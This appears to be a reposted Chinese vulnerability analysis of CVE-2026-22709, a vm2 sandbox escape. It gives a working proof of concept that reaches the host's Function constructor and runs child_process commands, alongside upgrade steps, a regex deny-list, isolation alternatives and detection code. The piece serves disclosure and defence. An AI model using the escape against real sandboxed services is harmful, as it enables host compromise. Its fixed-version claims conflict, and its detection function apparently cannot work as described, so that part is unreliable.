vm2沙箱逃逸漏洞分析(CVE-2026-22709)

admin 2026-01-29 01:15:15 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-22709是vm2Node.js沙箱库严重漏洞(CVSS9.8),攻击者通过绕过Promise回调清理机制实现沙箱逃逸并执行任意代码。影响≤3.10.2版本,建议立即升级至3.10.3+或迁移至isolated-vm/Docker等更强隔离方案。文章提供了详细漏洞原理、PoC代码、检测方法与缓解措施。 综合评分: 100 文章分类: 漏洞分析,漏洞POC,应用安全,代码审计,安全工具


cover_image

vm2沙箱逃逸漏洞分析(CVE-2026-22709)

原创

赛博 赛博

赛博知识驿站

2026年1月28日 16:00 中国香港

🎯漏洞概述

基本信息

CVE-2026-22709 是 vm2 Node.js 沙箱库中的一个严重级别沙箱逃逸漏洞。该漏洞允许攻击者绕过 Promise 回调消毒机制,从而突破沙箱隔离并在宿主机系统上执行任意代码。 vm2是一个广泛使用的Node.js沙箱执行库,本漏洞允许攻击者绕过沙箱限制并获得宿主机的任意代码执行权限。这是vm2一系列沙箱逃逸漏洞中的最新一个,影响所有使用vm2进行不安全代码执行的生产环境。

| 项目 | 详情 | | — | — | | 影响组件 | vm2 | | 受影响版本 | ≤ 3.10.2 | | 修复版本 | ≥ 3.10.2(推荐升级至3.10.3) | | 披露状态 | 已公开,PoC可用 | | 远程利用 | 是 | | 用户交互 | 不需要 |

CVSS 评分详情

CVSS v3.1 VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

| 指标 | 值 | 说明 | | — | — | — | | 攻击向量 (AV) | Network | 远程网络攻击 | | 攻击复杂度 (AC) | Low | 低复杂度 | | 权限要求 (PR) | None | 无需特权 | | 用户交互 (UI) | None | 无需用户交互 | | 影响范围 (S) | Unchanged | 范围不变 | | 机密性影响 (C) | High | 高机密性影响 | | 完整性影响 (I) | High | 高完整性影响 | | 可用性影响 (A) | High | 高可用性影响 | | 总体评分 | 9.8 (CRITICAL) | 严重漏洞 |


🔬 技术分析

漏洞原理

触发条件:在宿主机环境尝试清理globalPromise对象的回调时,未对这些回调进行充分净除,导致它们可在宿主机权限下执行。从而实现沙箱逃逸。

技术细节

  1. 1. vm2对某些内部Promise回调进行了清理
  2. 2. 但未完全清理global Promise对象返回的回调
  3. 3. promise.catch回调在宿主机环境中执行
  4. 4. 回调可通过全局链上的Error和Function构造器获取任意代码执行

技术流程图

┌─────────────────────────────────────────────────────────────┐
│                     攻击者控制代码 (沙箱内)                   │
└─────────────────────────┬───────────────────────────────────┘
                          │
                          ▼
┌─────────────────────────────────────────────────────────────┐
│  1. 创建Error并设置name为Symbol                             │
│  2. 定义异步函数返回error.stack                              │
│  3. 调用异步函数获得globalPromise对象                        │
└─────────────────────────┬───────────────────────────────────┘
                          │
                          ▼
┌─────────────────────────────────────────────────────────────┐
│  4. 在globalPromise上附加catch回调                         │
│     错误对象e来自宿主机环境                                   │
└─────────────────────────┬───────────────────────────────────┘
                          │
                          ▼
┌─────────────────────────────────────────────────────────────┐
│  5. 通过e.constructor和e.constructor.constructor            │
│     获取Error与Function构造器                               │
│  6. 创建恶意Function执行任意代码                            │
└─────────────────────────┬───────────────────────────────────┘
                          │
                          ▼
┌─────────────────────────────────────────────────────────────┐
│           宿主机环境 - 沙箱逃逸成功 ✗                         │
│     执行 process.mainModule.require('child_process')       │
└─────────────────────────────────────────────────────────────┘

根因分析

该漏洞的根本原因是清理机制的实现差异

  • • vm2为部分内部Promise实现了清理
  • • 但未对global Promise链上的全部回调进行充分清理
  • • 当宿主机处理globalPromise时,其回调在宿主机环境运行并可获得宿主机特权上下文

💥 PoC 概念验证代码

const { VM } = require("vm2");

const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
    );
    f();
});
`;

new VM().run(code);
// 输出: HELLO WORLD!
// 沙箱已被绕过,任意代码在宿主机上执行

PoC 代码解析

| 步骤 | 代码片段 | 作用 | | — | — | — | | 1 | const error = new Error(); | 创建Error对象 | | 2 | error.name = Symbol(); | 设置name为Symbol,触发特殊行为 | | 3 | const f = async () => error.stack; | 创建返回error.stack的异步函数 | | 4 | const promise = f(); | 获得globalPromise对象 | | 5 | promise.catch(e => {...}) | 附加未充分清理的回调 | | 6 | const Error = e.constructor; | 从宿主机Error获取构造器 | | 7 | const Function = Error.constructor; | 获得Function构造器 | | 8 | new Function(...) | 创建恶意函数执行任意系统命令 |


🌍 影响范围

受影响版本

| 版本范围 | 状态 | | — | — | | ≤ 3.10.0 | ❌ 受到影响 | | 3.10.1 | ⚠️ 部分修复(不完整) | | ≥ 3.10.2 | ✅ 已修复 | | ≥ 3.10.3 | ✅ 完全修复(推荐) |

受影响的场景

  1. 1. 在线代码执行平台(LeetCode类平台、代码游乐场)
  2. 2. 服务器端JavaScript沙箱(用户脚本执行环境)
  3. 3. 动态模版渲染引擎(使用vm2隔离用户模版代码)

🛠️ 修复和缓解措施

立即行动

1️⃣ 升级vm2

# 检查当前版本
npm list vm2

# 升级到安全版本
npm install [email protected]
# 或使用最新版本
npm install vm2@latest

# 对于生产环境
npm install vm2@^3.10.3

2️⃣ 验证修复

# 确认已升级到安全版本
npm ls vm2
# 应显示: [email protected] 或更高

临时缓解措施

如果无法立即升级,考虑以下临时方案:

选项A:禁用vm2(高风险)

// 不推荐:完全禁用不安全代码执行
// 应优先升级

选项B:限制输入

const { VM } = require('vm2');

// 添加多层输入验证
function validateInput(code) {
    // 检测危险关键词
    const dangerousPatterns = [
        /async\s*\(/,
        /\.then\s*\(/,
        /\.catch\s*\(/,
        /Error\s*\(/,
        /Function\s*\(/,
        /require\s*\("child_process"\)/
    ];

    for (const pattern of dangerousPatterns) {
        if (pattern.test(code)) {
            throw new Error('检测到危险代码模式');
        }
    }
    return true;
}

// 使用前验证
validateInput(userCode);
const vm = new VM();
vm.run(userCode);

⚠️ 注意:临时缓解措施容易被绕过,不应作为长期解决方案

长期替代方案

考虑迁移到更安全的隔离方案:

选项1:isolated-vm(推荐)

isolated-vm使用V8隔离(基于Isolate),提供更强隔离。

const ivm = require('isolated-vm');

const isolate = new ivm.Isolate({ memoryLimit: 128 });
const context = isolate.createContextSync();

async function runCodeSafely(code) {
    try {
        const script = await isolate.compileScript(code);
        const result = await script.run(context);
        return result;
    } catch (err) {
        console.error('代码执行错误:', err);
        throw err;
    }
}

runCodeSafely('(1 + 2) * 3').then(console.log); // 9

选项3:Docker容器隔离(最佳隔离)

# 使用Docker容器执行用户代码
docker run --rm \
  --network=none \
  --memory=128m \
  --cpus=0.5 \
  --read-only \
  --tmpfs /tmp \
  -e CODE="$(cat usercode.js)" \
  node:18-alpine \
  sh -c 'node -e $CODE'

方案对比

| 方案 | 隔离强度 | 性能 | 复杂度 | 推荐度 | | — | — | — | — | — | | vm2 | ❌ 弱 | ⭐⭐⭐⭐⭐ | 低 | ⭐ 不推荐 | | isolated-vm | ✅ 强(V8 Isolate) | ⭐⭐⭐⭐ | 中 | ⭐⭐⭐⭐⭐ 推荐 | | Docker容器 | ✅✅ 最强(OS级) | ⭐⭐⭐ | 高 | ⭐⭐⭐⭐⭐ 最佳 |


📊 CWE 分类

本漏洞关联以下CWE(通用弱点枚举):

| CWE ID | 名称 | 严重性 | | — | — | — | | CWE-94 | Improper Control of Generation of Code (‘Code Injection’) | High | | CWE-693 | Protection Mechanism Failure | High | | CWE-913 | Improper Control of Dynamically-Managed Code Resources | High |


🔍 检测方法

1. 版本检测

# 使用npm
npm outdated vm2

# 使用漏洞扫描器
npm audit

2. 动态检测

在沙箱环境中植入检测代码:

const { VM } = require('vm2');

function detectVulnerability() {
    try {
        const testCode = `
            const error = new Error();
            error.name = Symbol();
            const f = async () => error.stack;
            const promise = f();
            promise.catch(() => {
                // 如果到达这里,说明漏洞存在
                throw new Error('VULNERABLE');
            });
        `;

        const vm = new VM({ timeout: 1000 });
        vm.run(testCode);
        return true; // 如果没有抛出异常,可能已修复
    } catch (error) {
        if (error.message.includes('VULNERABLE')) {
            return false; // 漏洞存在
        }
        return true; // 已修复
    }
}

const isSafe = detectVulnerability();
console.log('沙箱状态:', isSafe ? '安全' : '存在漏洞');

3. 日志监控

监控异常的系统调用和进程创建:

# 在Linux上监控异常的进程创建
auditctl -a exit,always -F arch=b64 -S execve -F dir=/app/sandbox

📚 参考资料

官方通告

  • • GitHub Security Advisory – GHSA-99p7-6v5w-7xg8[1]
  • • vm2 Repository Security Advisories[2]
  • • NIST NVD – CVE-2026-22709[3]

技术分析

  • • The Hacker Wire – VM2 Sandbox Escape[4]
  • • BleepingComputer – Critical vm2 Flaw[5]
  • • GitLab Package Advisory[6]

替代方案

  • • isolated-vm Documentation[7]
  • • Node.js Worker Threads[8]
  • • vm2 Deprecation Notice[9]

历史漏洞

vm2历史上存在多个类似漏洞,证明了沙箱逃逸的持续挑战:

  • • CVE-2022-36067 (CVSS 9.8)
  • • CVE-2023-29017 (CVSS 9.8)
  • • CVE-2023-29199 (CVSS 9.8)
  • • CVE-2023-30547 (CVSS 9.8)

📄 附录

A. 修复补丁摘要

vm2 v3.10.2引入了完整的Promise清理逻辑:

// lib/sandbox.js
+ // 确保清理所有Promise回调
+ global.Promise.prototype.then = function(...) {
+   const result = originalThen.call(this, ...);
+   sanitizeCallback(result);
+   return result;
+ };
+
+ global.Promise.prototype.catch = function(...) {
+   const result = originalCatch.call(this, ...);
+   sanitizeCallback(result);
+   return result;
+ };

B. 受影响生态包

以下npm包依赖vm2,可能间接受到影响:

| 包名 | 用途 | 建议操作 | | — | — | — | | vm2 | 沙箱执行库 | 必须升级 | | safe-eval | 安全评估工具 | 检查依赖 | | vm2-parser | VM2解析器 | 升级或替代 |

C. 合规性影响

| 法规/标准 | 影响 | 要求 | | — | — | — | | PCI DSS | 高 | 立即修复并审计 | | SOC 2 | 高 | 记录修复过程 | | HIPAA | 高 | 评估数据泄露风险 | | GDPR | 高 | 评估隐私影响 |


⚠️ 重要提示:vm2项目已多次出现严重沙箱逃逸漏洞。建议长期规划中完全迁移到更安全的隔离方案,如isolated-vm或Docker容器隔离。沙箱安全是一个持续挑战,不应依赖单一安全机制。

引用链接

[1] GitHub Security Advisory – GHSA-99p7-6v5w-7xg8: https://github.com/advisories/GHSA-99p7-6v5w-7xg8 [2] vm2 Repository Security Advisories: https://github.com/patriksimek/vm2/security/advisories [3] NIST NVD – CVE-2026-22709: https://nvd.nist.gov/vuln/detail/CVE-2026-22709 [4] The Hacker Wire – VM2 Sandbox Escape: https://www.thehackerwire.com/vm2-sandbox-escape-via-promise-callback-bypass-cve-2026-22709/ [5] BleepingComputer – Critical vm2 Flaw: https://www.bleepingcomputer.com/news/security/critical-sandbox-escape-flaw-found-in-popular-vm2-nodejs-library/ [6] GitLab Package Advisory: https://advisories.gitlab.com/pkg/npm/vm2/CVE-2026-22709/ [7] isolated-vm Documentation: https://github.com/laverdet/isolated-vm [8] Node.js Worker Threads: https://nodejs.org/api/worker_threads.html [9] vm2 Deprecation Notice: https://github.com/patriksimek/vm2/issues/533


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛博知识驿站 赛博 赛博《vm2沙箱逃逸漏洞分析(CVE-2026-22709)》

评论:0   参与:  0